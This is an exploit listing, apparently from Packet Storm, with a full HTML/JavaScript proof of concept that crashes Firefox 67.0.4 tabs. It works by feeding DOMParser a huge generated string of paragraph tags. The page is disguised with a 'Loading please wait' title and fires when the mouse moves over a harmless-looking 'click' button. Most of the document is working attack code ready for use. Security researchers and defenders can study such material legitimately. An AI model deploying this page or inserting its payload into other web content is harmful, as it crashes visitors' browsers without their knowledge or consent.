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Firefox 67.0.4 Denial Of Service
🗓️ 09 Jul 2019 00:00:00Reported by Tejas Ajay NaikType 
packetstorm🔗 packetstormsecurity.com👁 162 Views
`<!--
Exploit Title: DOMParser Denial of Service on Firefox 67.0.4
Date: 09/07/2019
Description: pass a huge string as an argument to DOMParser.parseFromString will crash the tab in Firefox version 67.0.4.
Exploit Author:Tejas Ajay Naik
Vendor Homepage:
Software Link: https://ftp.mozilla.org/pub/firefox/releases/
Version: 67.0.4
Tested On: Linux x86,Windows x64 1803
CVE:
-->
<!DOCTYPE html>
<head>
<title>
Loading please wait
</title>
<script>
function MyFun() {
var text = [];
for(var i=0 ;i<300 ; ++i)
text += "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>";
var domparser = new DOMParser();
var doc = domparser.parseFromString(text,"application/xhtml+xml");
}
</script>
</head>
<body>
<input type="button" onmousemove="MyFun()" value="click"/>
<p id="demo"></p>
</body>
</html>
`
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09 Jul 2019 00:00Current
7.4High risk
Vulners AI Score7.4